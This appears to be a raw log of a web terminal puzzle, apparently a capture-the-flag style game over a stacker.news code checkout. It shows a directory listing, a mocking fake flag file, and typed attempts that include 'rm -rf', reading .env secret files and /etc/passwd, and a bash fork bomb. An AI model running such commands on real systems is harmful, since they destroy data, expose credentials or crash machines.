./prog/stacker.news/copilot/capture 12 ./prog/stacker.news/copilot/chat-web 12 ./prog/stacker.news/copilot/environments/capture 12 ./prog/stacker.news/copilot/environments/sndev 12 ./prog/stacker.news/copilot/environments/imgproxy 20 ./prog/stacker.news/copilot/environments/addons 64 ./prog/stacker.news/copilot/environments 12 ./prog/stacker.news/copilot/exec 12 ./prog/stacker.news/copilot/imgproxy 12 ./prog/stacker.news/copilot/chat 148 ./prog/stacker.news/copilot 12 ./prog/stacker.news/.devcontainer/minimal 24 ./prog/stacker.news/.devcontainer 108 ./prog/stacker.news/styles 16 ./prog/stacker.news/pages/wallets/transactions 12 ./prog/stacker.news/pages/wallets/reward-sats 32 ./prog/stacker.news/pages/wallets/[id] 16 ./prog/stacker.news/pages/wallets/add 104 ./prog/stacker.news/pages/wallets 12 ./prog/stacker.news/pages/satistics/graphs 24 ./prog/stacker.news/pages/satistics 12 ./prog/stacker.news/pages/transactions 16 ./prog/stacker.news/pages/referrals 24 ./prog/stacker.news/pages/[name] 16 ./prog/stacker.news/pages/stackers/[sub] 28 ./prog/stacker.news/pages/stackers 24 ./prog/stacker.news/pages/items/[id] 32 ./prog/stacker.news/pages/items 12 ./prog/stacker.news/pages/auth 20 ./prog/stacker.news/pages/rewards 20 ./prog/stacker.news/pages/invites 28 ./prog/stacker.news/pages/api/auth/domains 76 ./prog/stacker.news/pages/api/auth 12 ./prog/stacker.news/pages/api/nostr 12 ./prog/stacker.news/pages/api/ots/preimage 12 ./prog/stacker.news/pages/api/ots/proof 32 ./prog/stacker.news/pages/api/ots 12 ./prog/stacker.news/pages/api/lnurlp/[username]/verify 32 ./prog/stacker.news/pages/api/lnurlp/[username] 40 ./prog/stacker.news/pages/api/lnurlp 192 ./prog/stacker.news/pages/api 12 ./prog/stacker.news/pages/onboarding 12 ./prog/stacker.news/pages/~/top/stackers 12 ./prog/stacker.news/pages/~/top/[type] 12 ./prog/stacker.news/pages/~/top/territories 48 ./prog/stacker.news/pages/~/top 16 ./prog/stacker.news/pages/~/new 88 ./prog/stacker.news/pages/~ 16 ./prog/stacker.news/pages/settings/subscriptions 12 ./prog/stacker.news/pages/settings/mutes 88 ./prog/stacker.news/pages/settings 768 ./prog/stacker.news/pages 56 ./prog/stacker.news/docker/cln 12 ./prog/stacker.news/docker/litd 352 ./prog/stacker.news/docker/lnd/sn/regtest 368 ./prog/stacker.news/docker/lnd/sn 352 ./prog/stacker.news/docker/lnd/router/regtest 368 ./prog/stacker.news/docker/lnd/router 360 ./prog/stacker.news/docker/lnd/stacker/regtest 376 ./prog/stacker.news/docker/lnd/stacker 1132 ./prog/stacker.news/docker/lnd 32 ./prog/stacker.news/docker/tor 112 ./prog/stacker.news/docker/lnbits-v1/data 124 ./prog/stacker.news/docker/lnbits-v1 12 ./prog/stacker.news/docker/dnsmasq 13392 ./prog/stacker.news/docker/db 28 ./prog/stacker.news/docker/eclair/stacker/regtest 44 ./prog/stacker.news/docker/eclair/stacker 56 ./prog/stacker.news/docker/eclair 20 ./prog/stacker.news/docker/lndk 43416 ./ ... (output truncated)$ cat .flag.txt
NO FLAG HERE!!! HAHAHA Did you think it would be that easy?? But I see you got some skills ... Maybe you will need them again?$ ls -alh; tree -L 3
total 48K drwxrwxr-x+ 6 65534 65534 4.0K Aug 29 18:09 . drwx------ 3 1000 100 60 Aug 29 19:25 .. -rw-rwxr--+ 1 65534 65534 131 Aug 29 16:25 .flag.txt drwxrwxr-x+ 3 1000 100 4.0K Aug 29 00:47 Documents drwxrwxr-x+ 3 1000 100 4.0K Aug 29 00:45 Downloads drwxrwxr-x+ 2 1000 100 4.0K Aug 29 00:42 Pictures drwxrwxr-x+ 3 1000 100 4.0K Aug 29 00:47 prog -rw-rwxr--+ 1 65534 65534 477 Aug 29 18:09 readme.txt /run/bin/sh: line 1: tree: command not foundrm -rfTry again, but differently
sudo, obviously
cat .env; cat .env.production; cat .env.development; cowsay moo
Sorry, can you try again with a $ in front?
ls -alh; tree -L 3
Sorry, can you try again with a $ in front?
$ cat /etc/passwd
cat: /etc/passwd: No such file or directory$ :(){ :|:& };: